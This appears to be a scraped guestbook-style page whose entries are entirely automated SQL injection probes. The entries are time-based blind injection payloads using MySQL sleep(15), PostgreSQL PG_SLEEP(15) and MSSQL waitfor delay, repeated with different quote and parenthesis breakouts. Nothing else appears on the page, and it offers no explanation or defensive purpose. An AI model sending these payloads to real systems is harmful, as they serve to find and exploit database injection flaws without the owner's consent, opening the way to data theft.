(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
IxYxFjvb'; waitfor delay '0:0:15' --

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
tLAZf0I1'); waitfor delay '0:0:15' --

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
SFFCHye1')); waitfor delay '0:0:15' --

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
aXFngqMl' OR 530=(SELECT 530 FROM PG_SLEEP(15))--

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
wvrHoOPs') OR 989=(SELECT 989 FROM PG_SLEEP(15))--

Guest:
555-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
8Yog9DkD')) OR 480=(SELECT 480 FROM PG_SLEEP(15))--